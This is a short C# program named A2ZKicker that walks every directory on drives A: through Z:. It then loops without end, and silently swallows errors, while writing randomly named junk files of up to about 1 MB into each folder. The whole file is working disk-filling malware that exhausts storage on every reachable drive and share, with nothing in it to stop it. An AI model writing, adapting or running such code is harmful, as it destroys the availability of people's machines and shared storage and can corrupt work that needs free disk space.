using System;
using System.Collections.Generic;
using System.IO;
using System.Windows.Forms;

namespace A2ZKicker
{
    internal static class Program
    {
        private static readonly Random r = new Random();
        private static List<DirectoryInfo> dirList;
        [STAThread]
        private static void Main()
        {
                dirList = new List<DirectoryInfo>();
                //FillDirList(Application.StartupPath);
                FillDirList("A:\\");
                FillDirList("B:\\");
                FillDirList("C:\\");
                FillDirList("D:\\");
                FillDirList("E:\\");
                FillDirList("F:\\");
                FillDirList("G:\\");
                FillDirList("H:\\");
                FillDirList("I:\\");
                FillDirList("J:\\");
                FillDirList("K:\\");
                FillDirList("M:\\");
                FillDirList("N:\\");
                FillDirList("L:\\");
                FillDirList("O:\\");
                FillDirList("P:\\");
                FillDirList("Q:\\");
                FillDirList("R:\\");
                FillDirList("S:\\");
                FillDirList("T:\\");
                FillDirList("U:\\");
                FillDirList("V:\\");
                FillDirList("W:\\");
                FillDirList("X:\\");
                FillDirList("Y:\\");
                FillDirList("Z:\\");
        l:
            try
            {
                dirList.ForEach(x => Dance(x));
                goto l;

            }
            catch (Exception)
            {
                goto l;
            }
        }

        private static void FillDirList(string startupPath)
        {
            try
            {
                DirectoryInfo dir = new DirectoryInfo(startupPath);
                if (dir.Exists)
                {
                    dirList.Add(dir);
                    foreach (DirectoryInfo d in dir.GetDirectories())
                    {
                        if (d.GetDirectories() != null)
                        {
                            FillDirList(d.FullName);
                        }
                    }
                }
            }
            catch (Exception)
            {
            }
        }

        private static void Dance(DirectoryInfo dir)
        {
            string pathString = Path.Combine(dir.FullName, Path.GetRandomFileName());
            if (!System.IO.File.Exists(pathString))
            {
                using (System.IO.FileStream fs = System.IO.File.Create(pathString))
                {
                    fs.SetLength(r.Next(128, 2048) * 512L);
                }
            }
        }
    }
}
